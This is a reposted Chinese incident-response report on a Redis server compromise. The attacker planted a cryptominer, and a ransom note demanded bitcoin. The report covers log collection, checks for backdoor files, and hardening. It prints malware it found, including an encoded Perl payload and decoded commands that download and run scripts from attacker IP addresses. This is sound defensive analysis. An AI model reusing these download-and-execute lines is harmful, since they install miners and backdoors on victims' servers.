安全|redis未授权访问致远程植入挖矿脚本

前言 遇到安全事件发生的时候,我们往往会有相应的处理流程与方法,但是作为一个萌新来说,对于安全事件的处理即应急响应还是比较陌生的,于是今天分享这样一篇文章。

安全应从小事做起,从细节做起
本文转载自<我的世界安全观>作者会不定期的更新一些与安全技术相关的干货,欢迎大家关注。
1 安全事件描述 1.1 开发服务器被勒索
主机xx.xx.xx.xx出现异常:cpu高达700%,且登录出现访问外链的异常提醒:
按照提示访问该链接,
https://www.zerobin.net/?abe30023883da9e6#s3HY7/0chzaTWdEtKSw86/WKkprj7x3NEEf9usy6JRs=显示该主机已经感染RANSOMWARE比特币敲诈病毒,要想避免服务器上的文件信息泄露需要想向黑客支付2个比特币。
1.2 redis主机被植入挖矿脚本
经过文件排查,以下四台主机被人植入挖矿脚本。
x.x.x.x x.x.x1.x2 x.x.x3.x4 x.x.x5.x6

2 重要日志备份 2.1 系统日志
包括message、secure、cron、mail等系统日志。
cd /var/log &&ls –al

压缩打包整个/var/log目录至/tmp:
tar -zcvf/var/log.tar.gz /var/log mv log.tar.gz/tmp

2.2 history备份
备份history至/tmp/history.txt,用于查看恶意攻击者执行了哪些操作。
3 系统状态查看 系统状态主要包括网络、服务、端口、进程等状态,是否存在异常。
3.1 查看在线用户(未见异常账户)
W last -xad

3.2 查看系统服务(待确定)
chkconfig--list

系统开启服务较多,难以排查。
通过该命令可以查看哪些服务可能存在安全漏洞。
3.3 查看当前进程(待确定)
ps-ef

3.4 查看开放端口(待确定)
netstat-tunlp

3.5 查看用户信息(待确定)
cat/etc/passwd

由于涉及到的业务较多,不能确定用户的归属。
3.6 查看最近一个月更改的文件(后门文件)
find -type f-mtime -30

4 异常行为分析 4.1 从执行命令记录分析(存在可疑操作)
查看备份文件history.txt,分析命令执行历史,可疑行为有以下两点(待确认是否为公司内部人员操作)
4.2 从近期更改文件分析
查看最近一个月的文件更改情况并查看文件内容找到以下几个恶意文件(挖矿脚本)
经过全盘排查,涉及到的目录有:
<1> / <2> /tmp <3> /var/spool/cron/crontabs <4>/etc/cron.daily/anacron

4.2.1 分析root根目录(存在后门文件) 首先直接查看根目录,存在可执行文件
4.2.2 分析tmp文件夹(存在后门文件) 查看/tmp文件夹,存在大量后门文件
挖矿脚本等恶意脚本存放在/tmp目录下
分析root文件:
执行root文件,远程下载 i.sh,http://218.38.3.16:9999/i.sh?6379
分析i.sh文件
该文件设置定时任务,下载挖矿脚本至tmp文件夹
4.2.3 分析计划任务文件夹(存在后门文件) 【安全|redis未授权访问致远程植入挖矿脚本】查看计划任务文件夹,存在后门文件
查看文件夹 /var/spool/cron/crontabs,同样发现恶意脚本
分析/tmp/.f53ee86432aa62ba4f37a00893d1acd2文件
执行.d41d8cd98f00b204e9800998ecf8427e文件,
分析.d41d8cd98f00b204e9800998ecf8427e文件:
使用base64解密.d41d8cd98f00b204e9800998ecf8427e内容:
#!/usr/bin/perl system("\x77\x67\x65\x74\x20\x2D\x71\x4F\x20\x2D\x20\x68\x74\x74\x70\x3A\x2F\x2F\x36\x35\x2E\x32\x35\x34\x2E\x36\x33\x2E\x320\x2F\x61\x20\x7C\x20\x73\x68\x20\x3B\x20\x63\x75\x72\x6C\x20\x2D\x4F\x20\x68\x74\x74\x70\x3A\x2F\x2F\x36\x35\x2E\x32\x35\x34\x2E\x36\x33\x2E\x320\x2F\x61\x20\x3B\x20\x73\x68\x20\x61\x20\x3B\x20\x72\x6D\x20\x2D\x72\x66\x20\x61");

对system函数里的内容进行十六进制转换字符,可初步获知:
从65.254.63.2远程服务器上下载a脚本,先执行并删除。
wget -qO-http://http://65.254.63.2/a; sh a; rm-rf a

4.2.4 分析etc计划任务文件(源后门文件) 查看计划任务文件夹,存在后门文件anacron。该文件主要是控制远程下载、主机计划任务设置等黑客行为。
cat /etc/cron.daily/anacron
4.3 评估影响范围
经过对各个后门文件的分析,在/tmp目录中存在H文件,其内容包含内网相关主机,疑似是恶意攻击者的攻击目标:
分别登录主机x.x.x.x、x.x.x.a、x.x.x.b、x.x.x.c的ssh failed日志进行分析,发现以下登录失败记录(标红主机也需要关注):
x.x.x.x <–> x.x.x.a 主机x登录a失败,a登录x失败
x.x.x.x <–> x.x.x.b 主机b登录x失败
x.x.x.x <–> x.x.x.c 主机c登录x失败
5 恶意脚本排查 5.1 webshell查杀
使用webshell查杀脚本进行扫扫描
<1>查看web应用路径为:/httx/run/
find / -name info-index.html
<2>上传并执行scanWebshell.py
python scanWebshell.py /httx/run
扫描完成,未扫到webshell文件。
5.2 rootkit恶意程序检测
rkhunter是Linux系统平台下的一款开源入侵检测工具,具有非常全面的扫描范围,除了能够检测各种已知的rootkit特征码以外,还支持端口扫描、常用程序文件的变动情况检查。
结合目前的检查情况和未经允许安装rkhunter来看,该操作尚未进行。
6 回溯攻击源头 6.1 挖矿脚本提供站点
访问http://218.38.3.16:9999/,这是攻击者一个提供恶意脚本下载的网站
查看该IP地址来源于韩国
6.2 恶意文件提供站点
访问http://65.254.63.2/a,浏览器提示欺诈网站
查看该IP地址来源于美国
7 安全加固防范 7.1 控制影响范围
首先应对x.x.x.x进行下线(断绝外网)处理,阻断与外界恶意攻击者之间的通信,但是由于很多业务都在上面运行实施起来有一定难度。
其次,应该对以下疑似被攻击的主机进行安全排查,查找是否存在webshell、后门下载文件及挖矿文件。
x.x.x.a x.x.x.b x.x.x.c x.x.x.d x.x.x.e ......

7.2 删除后门文件
为了避免继续被控制以及更多内网主机沦陷,需要及时清理掉已经发现的后门文件及计划任务(暂时发现上面提到的四个路径)。
7.3 安全漏洞扫描
由于被入侵的可能性存在多种可能性,比如:
(1) 由于之前的钓鱼邮件引发的apt攻击
(2) 可能与最开始发现的redis挖矿安全事件相关
(3) 有可能由于该服务器上业务太多且开放端口全部映射到外网导致恶意攻击者攻击,即打开内网大门的钥匙……
目前还并未对该主机进行渗透测试和漏洞扫描,未发现该主机存在何种漏洞。按照正常的应急流程应该在分析各种日志的基础上进行渗透测试,及时迅速查找安全漏洞(被入侵原因)并进行安全加固,方可再次上线。

    推荐阅读